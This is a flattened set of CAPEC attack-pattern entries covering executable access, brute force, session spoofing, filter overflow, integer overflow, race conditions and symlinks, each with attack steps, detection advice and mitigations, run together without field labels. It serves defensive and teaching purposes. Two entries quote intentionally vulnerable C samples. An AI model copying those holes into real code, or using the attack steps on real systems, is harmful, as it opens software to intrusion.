System's configuration must allow an attacker to directly access executable files or upload files to execute. This means that any access control system that is supposed to mediate communications between the subkect and the object is set incorrectly or assumes a benign environment. Very High High Modification of Resources API Abuse Consider a directory on a web server with the following permissions drwxrwxrwx 5 admin public 170 Nov 17 01:08 webroot This could allow an attacker to both execute and upload and execute programs' on the web server. This one vulnerability can be exploited by a threat to probe the system and identify additional vulnerabilities to exploit. Low: to identify and execute against an overprivileged system interface Ability to communicate synchronously or asynchronously with server that publishes an overprivileged directory, program, or interface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP. Design: Enforce principle of least privilege Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands. Implementation: Perform testing such as pentesting and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables. Run Arbitrary Code Data Modification Information Leakage Privilege Escalation "Attack Pattern: Direct Access to Executable Files A privileged program is directly accessible. The program performs operations on behalf of the attacker that allow privilege escalation or shell access. For Web servers, this is often a fatal issue. If a server runs external executables provided by a user (or even simply named by a user), the user can cause the system to behave in unanticipated ways. This may be accomplished by passing in command-line options or by spinning an interactive session. A problem like this is almost always as bad as giving complete shell access to an attacker. The most common targets for this kind of attack are Web servers. The attack is so easy that attackers have been known to use Internet search engines to find potential targets. The Altavista search engine is a great resource for attackers looking for such targets. Google works too." [Hoglund and McGraw 04] Payload delivered through standard communication protocols. Command(s) executed directly on host Client machine and client network Enables attacker to execute server side code with any commands that the program owner has privileges to. 285 Targeted 272 Targeted 59 Targeted 282 Targeted 275 Targeted 264 Targeted 270 Targeted 693 Targeted 1 More Detailed Penetration High Medium Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description and Examples Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

Determine the ciphertext and the encryption algorithm. Perform an exhaustive brute force search of the keyspace, producing candidate plaintexts and observing if they make sense. Ciphertext is known. Encryption algorithm and key size are known. Low Low Brute Force In 1997 the original DES challenge used distributed net computing to brute force the encryption key and decrypt the ciphertext to obtain the original plaintext. Each machine was given its own section of the keyspace to cover. The ciphertext was decrypted in 96 days. Low: Brute forcing encryption does not require much skill. A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact requirements will depend on the size of the brute force job and the time requirement for completion. Some brute forcing jobs may require grid or distributed computing (e.g. DES Challenge). On average, for a binary key of size N, 2^(N/2) trials will be needed to find the key that would decrypt the ciphertext to obtain the original plaintext. Obviously as N gets large the brute force approach becomes infeasible. None. This attack happens offline. Use commonly accepted algorithms and recommended key sizes. The key size used will depend on how important it is to keep the data confidential and for how long. In theory a brute force attack performing an exhausitve keyspace search will always succeed, so the goal is to have computational security. Moore's law needs to be taken into account that suggests that computing resources double every eighteen months. Information Leakage Typically cryptography, if done right, will rarely be the weakest link in the system. Problems begin when people either decide to play cryptographers themselves and roll out custom crypto, use key sizes that are too small, develop their own cryptographic protocols (or misuse existing cryptographic protocols). There are some other things that can be done wrong, such as not using good sources of randomness when generating encryption keys and initialization vector values. 326 Targeted 693 Targeted 719 Secondary 49 More Detailed Eugene Lebanidze Cigital, Inc 2007-02-26 Sean Barnum Cigital, Inc 2007-03-01 Review and revision of content Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description, Resources Required and Context Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

Attacks on session IDs and resource IDs take advantage of the fact that some software accepts user input without verifying its authenticity. For example, a message queueing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or indeed the process that wrote the message to the queue are authentic and authorized to do so. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes "trust" other systems because they are behind a firewall. In a similar way servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Session IDs may be guessed due to insufficient randomness, poor protection (passed in the clear), lack of integrity (unsigned), or improperly correlation with access control policy enforcement points. Exposed configuration and properties files that contain system passwords, database connection strings, and such may also give an attacker an edge to identify these identifiers. The net result is that spoofing and impersonation is possible leading to an attacker's ability to break authentication, authorization, and audit controls on the system.

Survey the application for Indicators of Susceptibility Using a variety of methods, until one is found that applies to the target system. the attacker probes for credentials, session tokens, or entry points that bypass credentials altogether. Spider all available pages env-Web Attack known bad interfaces env-Web env-CommProtocol env-ClientServer env-Local Session IDs are used env-Web env-Peer2Peer env-ClientServer env-CommProtocol Open access points exist that use no user IDs or passwords, but determine authorization based on message content env-Web env-Peer2Peer env-CommProtocol env-ClientServer env-Local Session IDs are identifiable Open channels are available Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Fetch samples An attacker fetches many samples of a session ID. This may be through legitimate access (logging in, legitimate connections, etc) or just systematic probing. An attacker makes many anonymous connections and records the session IDs assigned. env-Web env-Peer2Peer env-CommProtocol env-ClientServer An attacker makes authorized connections and records the session tokens or credentials issued. env-Web env-Peer2Peer env-CommProtocol env-ClientServer An attacker gains access to (legitimately or illegitimately) a nearby system (e.g., in the same operations network, DMZ, or local network) and makes a connections from it, attempting to gain the same privileges as a trusted system. env-Peer2Peer env-CommProtocol env-ClientServer Trust in the system is based on IP address, MAC address, network locality, or other general network characteristic. env-CommProtocol env-ClientServer env-Peer2Peer Web applications use session IDs env-Web Network systems issue session IDs or connection IDs env-CommProtocol env-ClientServer env-Peer2Peer Systems or applications grant trust based on logical or physical network locality. Session identifiers successfully spoofed No session IDs can be found or exploited Monitor logs for unusual amounts of invalid sessions. Monitor logs for unusual amounts of invalid connections or invalid requests from unauthorized hosts. Impersonate An attacker can use successful experiments to impersonate an authorized user or system Analyze logs for users or systems that are connecting from unexpected sources. Analyze logs for users or systems successfully requesting or performing unexpected actions. If heuristics are sufficiently reliable, disconnect hosts or users that appear to be unauthorized impersonations. Spoofing Bad data can be injected into the system by an attacker. Unauthorized data is injected into an application. Apply heuristic evaluation to input data. This can include validating source addresses, user names, ACLs or other data that indicates authorization. This need not be done inline at the time the data is processed, but can be done after the processing has occurred to detect attack. Apply transaction-based logic to systems whose initial authorization cannot be better controlled. Roll back transactions that are subsequently determined to be fraudulent or illegitimate. Server software must rely on weak session IDs proof and/or verification schemes High High Spoofing API Abuse Injection Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an attacker to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an attacker to exploit session IDs. A brute force attack involves an attacker repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an attacker can retry several hundred or thousand request with little to no issue on their side. The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The attacker can then use these variables and access the application. Low: To achieve a direct connection with the weak or non-existent server session access control, and pose as an authorized user Ability to deploy software on network. Ability to communicate synchronously or asynchronously with server Design: utilize strong federated identity such as SAML to encrypt and sign identity tokens in transit. Implementation: Use industry standards session key generation mechanisms that utilize high amount of entropy to generate the session key. Many standard web and application servers will perform this task on your behalf. Implementation: If the session identifier is used for authentication, such as in the so-called single sign on use cases, then ensure that it is protected at the same level of assurance as authentication tokens. Implementation: If the web or application server supports it, then encrypting and/or signing the session ID (such as cookie) can protect the ID if intercepted. Design: Use strong session identifiers that are protected in transit and at rest. Implementation: Utilize a session timeout for all sessions, for example 20 minutes. If the user does not explicitly logout, the server terminates their session after this period of inactivity. If the user logs back in then a new session key is generated. Implementation: Verify of authenticity of all session IDs at runtime. Privilege Escalation Information Leakage Data Modification "Attack Pattern: Session ID, Resource ID, and Blind Trust When session and resource IDs are simple and available, attackers can use them to their advantage. Many schemes are so simple that pasting in another known ID in a message stream works. [Hoglund and McGraw 04] Malicious input delivered through standard service calls, e.g. FTP or posting a message to a message queue. Varies with instantiation of attack pattern. The main goal is so spoof or impersonate a legitimate user. Client machine and client network (e.g. Intranet) Enables attacker to impersonate another user and access commands and data (and log behavior to audit logs) on their behalf. 290 Targeted 302 Targeted 346 Targeted 539 Secondary 6 Targeted 384 Secondary 664 Targeted 602 Targeted 642 Targeted Penetration High High Low Client-Server n-Tier SOA All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-10 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Paco Hope Cigital, Inc. 2007-10-20 Added extended Attack Execution Flow

An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

Server software must rely on client side formatted and validated values, and not re-inforce these checks on the server side. High High Spoofing Protocol Manipulation Web applications may use Javascript to perform client side validation, request encoding/formatting, and other security functions, which provides some usability benefits and eliminates some client-server roundtripping. However, the web server cannot assume that the requests it receives have been subject to those validations, because an attacker can use an alternate method for crafting the HTTP Request and submit data that contains poisoned values designed to spoof a user and/or get the web server to disclose information. Web 2.0 style applications may be particularly vulnerable because they in large part rely on existing infrastructure which provides scalability without the ability to govern the clients. Attackers identify vulnerabilities that either assume the client side is responsible for some security services (without the requisite ability to ensure enforcement of these checks) and/or the lack of a hardened, default deny server configuration that allows for an attacker probing for weaknesses in unexpected ways. Client side validation, request formatting and other services may be performed, but these are strictly usability enhancements not security enhancements. Many web applications use client side scripting like Javascript to enforce authentication, authorization, session state and other variables, but at the end of day they all make requests to the server. These client side checks may provide usability and performance gains, but they lack integrity in terms of the http request. It is possible for an attacker to post variables directly to the server without using any of the client script security checks and customize the patterns to impersonate other users or probe for more information. Many message oriented middleware systems like MQ Series are rely on information that is passed along with the message request for making authorization decisions, for example what group or role the request should be passed. However, if the message server does not or cannot authenticate the authorization information in the request then the server's policy decisions about authorization are trivial to subvert because the client process can simply elevate privilege by passing in elevated group or role information which the messgae server accepts and acts on. Medium: The attacker must have fairly detailed knowledge of the syntax and semantics of client/server communications protocols and grammars Ability to communicate synchronously or asynchronously with server Design: Ensure that client process and/or message is authenticated so that anonymous communications and/or messages are not accepted by the system. Design: Do not rely on client validation or encoding for security purposes. Design: Utilize digital signatures to increase authentication assurance. Design: Utilize two factor authentication to increase authentication assurance. Implementation: Perform input validation for all remote content. Run Arbitrary Code Privilege Escalation Information Leakage "Attack Pattern: Make the Client Invisible "Remove the client from the communications loop by talking directly with the server. Explore to determine what the server will and will not accept as input. Masquerade as the client. [Hoglund and McGraw 04] 290 Targeted 287 Targeted 20 Secondary 200 Secondary 693 Secondary Penetration High High Low Client-Server n-Tier All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise

An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attacker's program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.

The target software must consume files. The attacker must have access to modify files that the target software will consume. Very High High Injection API Abuse PHP is a very popular web server. When PHP is used with global variables, a vulnerability may be opened that affects the file system. A standard HTML form that allows for remote users to upload files, may also place those files in a public directory where the attacker can directly access and execute them through a browser. This vulnerability allows remote attackers to execute arbitrary code on the system, and can result in the attacker being able to erase intrusion evidence from system and application logs. Reference - http://www.owasp.org/index.php/File_System Medium Design: Enforce principle of least privilege Design: Validate all input for content including files. Ensure that if files and remote content must be accepted that once accepted, they are placed in a sandbox type location so that lower assurance clients cannot write up to higher assurance processes (like Web server processes for example) Design: Execute programs with constrained privileges, so parent process does not open up further vulnerabilities. Ensure that all directories, temporary directories and files, and memory are executing with limited privileges to protect against remote execution. Design: Proxy communication to host, so that communications are terminated at the proxy, sanitizing the requests before forwarding to server host. Implementation: Virus scanning on host Implementation: Host integrity monitoring for critical files, directories, and processes. The goal of host integrity monitoring is to be aware when a security issue has occurred so that incident response and other forensic activities can begin. Run Arbitrary Code "Attack Pattern: File System Function Injection, Content Based A protocol header or snippet of code embedded in a media file is used in a trusted function call when the file is opened by the client. Examples include music files such as MP3, archive files such as ZIP and TAR, and more complex files such as PDF and Postscript files. Common targets for this attack are Microsoft Word and Excel files, most often delivered as e-mail attachments. An attacker typically makes use of relative paths in ZIP, RAR, TAR archive, and decompresses to get to parent directories." [Hoglund and McGraw 04] Payload delivered through standard communication protocols. Command(s) executed directly on host filesystem Client machine and client network Enables attacker to execute server side code with any commands that the program owner has privileges to. 77 Targeted 23 Targeted 22 Targeted 713 Targeted 715 Targeted Exploitation High High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Attack Prerequisites Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. lets the user input into the system unfiltered).

Survey The attacker surveys the target application, possibly as a valid and authenticated user Spidering web sites for inputs that involve potential filtering env-Web Brute force guessing of filtered inputs env-All Software messages (e.g., "the following characters are not allowed...") indicate that filtered inputs are present in the software. ( env-Web env-ClientServer Application uses predefined inputs (e.g., drop-down lists, radio buttons, selection lists, etc.) env-Web env-ClientServer env-Local env-Embedded Managed code (e.g., .NET, Java) is likely, based on URLs. env-Web Managed code (e.g., .NET, Java) is likely, based on files found in software. env-ClientServer env-Local env-Embedded env-Peer2Peer env-CommProtocol Java code is likely, based on standard disclaimers (e.g., "This software contains Java from Sun...."). Such declarations are frequent on commercial software that is based on Java. env-Embedded env-Local env-ClientServer Java code is likely, based on one of the other indicators, but it could contain Java Native Interface (JNI) code. This is indicated by the inclusion of DLLs or equivalent binary object code with Java code. env-Embedded env-Local env-ClientServer Attempt injections Try to feed overly long data to the system. This can be done manually or a dynamic tool (black box) can be used to automate this. An attacker can also use a custom script for that purpose. Brute force attack through black box penetration test tool. env-Web env-ClientServer env-CommProtocol env-Peer2Peer Fuzzing of communications protocols env-CommProtocol env-Peer2Peer env-ClientServer Manual testing of possible inputs with attack data. env-All Unexpected output from the application. No unexpected output from the application. Monitor and analyze logs for failures that exceed common usage sizes. For example, if typical transactions, even normal failed transactions, rarely exceed 250 characters, monitor logs for all attempts that contain 250 or more characters. In the event of successful exploitation, there may actually be no useful log. But an attacker's experiments will likely show up, giving clues to the ultimate attack. Disconnect or block connections from systems or users that exceed acceptable heuristics for normal transaction sizes. Monitor responses Watch for any indication of failure occurring. Carefully watch to see what happened when filter failure occurred. Did the data get in? Boron tagging. Choose clear attack inputs that are easy to notice in output. In binary this is often 0xa5a5a5a5 (alternating 1s and 0s). Another obvious tag value is all zeroes, but it is not always obvious what goes wrong if the null values get into the data. env-All Check Log files. An attacker with access to log files can look at the outcome of bad input. env-Local env-Embedded Prevent access to log files that contain error output. Prevent access to and/or sanitize all error output. Abuse the system through filter failure An attacker writes a script to consistently induce the filter failure. DoS through filter failure. The attacker causes the system to crash or stay down because of its failure to filter properly. env-All Malicious code execution. An attacker introduces a malicious payload and executes arbitrary code on the target system. env-All An attacker can use the filter failure to introduce malicious data into the system and leverage a subsequent SQL injection, Cross Site Scripting, Command Injection or similar weakness if it exists. env-All Failure mode of the software (perhaps as a safety mechanism) includes exiting or ceasing to respond. env-All Failures do not involve stopping services, rejecting inputs or connections, and do not affect other simultaneous users of the software. env-All Attacker-supplied code is executed on the target system. The software stops responding for at least two orders of magnitude longer than the input takes to send. (e.g., 0.1s to send input induces at least a 10 second period non-responsiveness). Non-response by an attacker's input has an impact on the quality of service of other simultaneous users of the software. Monitor software response time regularly, and react to unexpected variations. Execute filtering modules with minimal privileges. Execute filtering modules in operating system "sandboxes" or similar containers. Ability to control the length of data passed to an active filter. High High Injection Attack Example: Filter Failure in Taylor UUCP Daemon Sending in arguments that are too long to cause the filter to fail open is one instantiation of the filter failure attack. The Taylor UUCP daemon is designed to remove hostile arguments before they can be executed. If the arguments are too long, however, the daemon fails to remove them. This leaves the door open for attack. A filter is used by a web application to filter out characters that may allow the input to jump from the data plane to the control plane when data is used in a SQL statement (chaining this attack with the SQL injection attack). Leveraging a buffer overflow the attacker makes the filter fail insecurely and the tainted data is permitted to enter unfiltered into the system, subsequently causing a SQL injection. Audit Truncation and Filters with Buffer Overflow. Sometimes very large transactions can be used to destroy a log file or cause partial logging failures. In this kind of attack, log processing code might be examining a transaction in real-time processing, but the oversized transaction causes a logic branch or an exception of some kind that is trapped. In other words, the transaction is still executed, but the logging or filtering mechanism still fails. This has two consequences, the first being that you can run transactions that are not logged in any way (or perhaps the log entry is completely corrupted). The second consequence is that you might slip through an active filter that otherwise would stop your attack. Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. Try to feed very long data as input to the program and watch for any indication that a failure has occurred. Then see if input has been admitted into the system. Some dynamic analysis tools may be helpful here to determine whether failure can be induced by feeding overly long inputs strings into the system. Many exceptions are thrown by the application's filter modules in a short period of time. Check the logs. See if the probes are coming from the same IP address. An attacker may temporally space out their probes. An attacker may perform probes from different IP addresses. Make sure that ANY failure occurring in the filtering or input validation routine is properly handled and that offending input is NOT allowed to go through. Basically make sure that the vault is closed when failure occurs. Pre-design: Use a language or compiler that performs automatic bounds checking. Pre-design through Build: Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Operational: Use OS-level preventative functionality. Not a complete solution. Design: Use an abstraction library to abstract away risky APIs. Not a complete solution. Run Arbitrary Code Privilege Escalation Denial of Service Web form, URL, File, Command line, Network socket, etc. All of the data that just got into the system unfiltered becomes the payload. Since the input enters the system effectively unfiltered, it may be dangerous if used in a SQL statement (i.e. SQL injection), as part of the command executed on the target system (i.e. command injection), as part of the reflection API (i.e. reflection injection), placed in logs (i.e. log injection), or perhaps to overflow another buffer in the system and give the attacker ability to execute arbitrary code. A subsequent buffer overflow may not even be required for that as the original one may be leveraged if the attacker gets lucky, that is the payload is activated in the filter itself, which also becomes the activation zone. Since no input validation is effectively performed in this situation, the impact of the attack may be a complete compromise of confidentiality, integrity, accountability and availability services. 120 Targeted 119 Targeted 118 Targeted 74 Targeted 20 Targeted 680 Targeted 733 Secondary 697 Targeted 100 Occasionally Follows Input validation and filtering logic should fail securely (vault doors are closed) Failing Securely All input should be treated as rejected by default, unless explicitly allowed by the filter. Thus if the filter fails before "blessing" the data, it will be rejected. Penetration Medium High Medium All All All All C C++ G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Buffer Errors G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eugene Lebanidze Cigital, Inc 2007-02-26 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Paco Hope Cigital, Inc. 2007-10-20 Added extended Attack Execution Flow

This attack attempts to trigger and exploit a deadlock condition in the target software to cause a denial of service. A deadlock can occur when two or more competing actions are waiting for each other to finish, and thus neither ever does. Deadlock condition are not easy to detect.

The attacker initiates an exploratory phase to get familiar with the system. The attacker triggers a first action (such as holding a resource) and initiates a second action which will wait for the first one to finish. If the target program has a deadlock condition, the program waits indefinitevely resulting in a denial of service. The target host has a deadlock condition. There are four conditions for a deadlock to occur, known as the Coffman conditions (See reference, Wikipedia) The target host exposes an API to the user. High Low Analysis API Abuse An example of a deadlock which may occur in database products is the following. Client applications using the database may require exclusive access to a table, and in order to gain exclusive access they ask for a lock. If one client application holds a lock on a table and attempts to obtain the lock on a second table that is already held by a second client application, this may lead to deadlock if the second application then attempts to obtain the lock that is held by the first application (Source: Wikipedia, http://en.wikipedia.org/wiki/Deadlock) Medium/High: This type of attack may be sophisticated and require knowledge about the system's resources and APIs. The attacker can probe by trying to hold resources and call APIs which are directly using the same resources. The attacker may try to find actions (threads, processes) competing for the same resources. Use known algorithm to avoid deadlock condition (for instance non-blocking synchronization algorithms). For competing actions use well known libraries which implement synchronization. Denial of Service 412 Secondary 567 Secondary 662 Targeted Exploitation Low Low High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Unrestricted Critical Resource Lock Deadlock, http://en.wikipedia.org/wiki/Deadlock Eric Dalci Cigital, Inc 2007-01-25 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Likelihood and other general areas Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.

The first step is exploratory meaning the attacker looks for an integer variable that he can control. The attacker finds an integer variable that he can write into or manipulate and try to get the value of the integer out of the possible range. The integer variable is forced to have a value out of range which set its final value to an unexpected value. The target host acts on the data and unexpected behaviour may happen. The attacker can manipulate the value of an integer variable utilized by the target host. The target host does not do proper range checkingon the variable before utilizing it. When the integer variable is incremented or decremented to an out of range value, it gets a very different value (e.g. very small or negative number) High High Modification of Resources Injection API Abuse Analysis Integer overflow in the ProcAuWriteElement function in server/dia/audispatch.c in Network Audio System (NAS) before 1.8a SVN 237 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a large max_samples value. CVE-2007-1544 The following code illustrates an integer overflow. The declaration of total integer as "unsigned short int" assumes that the length of the first and second arguments fits in such an integer. From "Secure Coding in C and C++" by Robert C. Seacord. Page 152, Figure 5-1 include <stdlib.h> include <string.h> include <stdio.h> int main (int argc, char *const *argv) { if (argc !=3){ printf("Usage: prog_name <string1> <string2>\n"); exit(-1); } unsigned short int total; total = strlen(argv[1])+strlen(argv[2])+1; char * buff = (char *)malloc(total); strcpy(buff, argv[1]); strcpy(buff, argv[2]); } //Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&tID=1511 Low : An attacker can simply overflow an integer by inserting an out of range value. High : Exploiting a buffer overflow by injecting malicious code into the stack of a software system or even the heap can require a higher skill level. Vulnerability testing tool can be used to probe for integer overflow (e.g. fuzzer). Use a language or compiler that performs automatic bounds checking. Carefully review the service's implementation before making it available to user. For instance you can use manual or automated code review to uncover vulnerabilities such as integer overflow. Use an abstraction library to abstract away risky APIs. Not a complete solution. Always do bound checking before consuming user input data. Data Modification Privilege Escalation Run Arbitrary Code Information Leakage Denial of Service An integer overflow condition exists when an integer, which has not been properly sanity checked is used in the determination of an offset or size for memory allocation, copying, concatenation, or similarly. If the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value. The user supplied data. The integer overrun by the attacker. When the function use the integer as offset, the offset may be out of the expected range which may lead to unexpected behavior such as issues of availability. The most common are issues of availability. In some situation, an integer oveflow can turn out to be an exploitable buffer overflow, then the attacker may be able to run arbitrary code on the target host. 190 Targeted 128 Targeted 120 Targeted 122 Secondary 196 Secondary 680 Targeted 697 Targeted Reluctance to Trust Exploitation Low Medium High All All All All J. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2002. CWE - Integer overflow (wrap or wraparound) Integer overflow, Secure Software - http://www.owasp.org/index.php/Integer_overflow SAMATE : samate.nist.gov Sean Barnum Cigital, Inc. 2007-03-25 Identified priority for pattern creation Eric Dalci Cigital, Inc. 2007-03-25 Fleshed out content for pattern Sean Barnum Cigital, Inc 2007-04-16 Review and revise

This attack targets a race condition occurring when multiple processes access and manipulate the same resource concurrently and the outcome of the execution depends on the particular order in which the access takes place. The attacker can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance a race condition can occur while accessing a file, the attacker can trick the system by replacing the original file with his version and cause the system to read the malicious file.

The attacker explores to gauge what level of access he has. The attacker gains access to a resource on the target host. The attacker modifies the targeted resource. The resource's value is used to determine the next normal execution action. The resource is modified/checked concurrently by multiple processes. By using one of the processes, the attacker is able to modify the value just before it is consumed by a different process. A race condition occurs and is exploited by the Attacker to abuse the target host. A resource is accessed/modified concurrently by multiple processes such that a race condition exists. The attacker has the ability to modify the resource. High High Time and State Modification of Resources The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client. CVE-2007-1057 The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name. include <sys/types.h> include <fcntl.h> include <unistd.h> define FILE "/tmp/myfile" define UID 100 void test(char *str) { int fd; fd = creat(FILE, 0644); if(fd == -1) return; chown(FILE, UID, -1); /* BAD */ close(fd); } int main(int argc, char **argv) { char *userstr; if(argc > 1) { userstr = argv[1]; test(userstr); } return 0; } //Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&;tID=1598 Medium/High Vulnerability testing tool can be used to probe for race condition. The attacker may also look for temporary file creation. The attacker may tries to replace them and take advantage of a race condition. Use safe libraries to access resources such as files. Be aware that improper use of access function calls such as chown(), tempfile(), chmod(), etc. can cause a race condition. Use synchronization to control the flow of execution. Use static analysis tools to find race conditions. Pay attention to concurrency problems related to the access of resources. Privilege Escalation Data Modification 368 Secondary 363 Secondary 366 Secondary 370 Secondary 362 Secondary 662 Targeted 689 Targeted 667 Targeted 665 Secondary Exploitation Low High Medium All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Race Conditions Wikipedia, http://en.wikipedia.org/wiki/Race_condition David Wheeler - Prevent race conditions - http://www-128.ibm.com/developerworks/linux/library/l-sprace.html David Wheeler - Secure programming - http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html Eric Dalci Cigital, Inc 2007-01-25 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description, Attack Flow and Attack Prerequisites Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to her. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attacker's Symlink link. If the attacker can insert malicious content in the temporary file she will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.

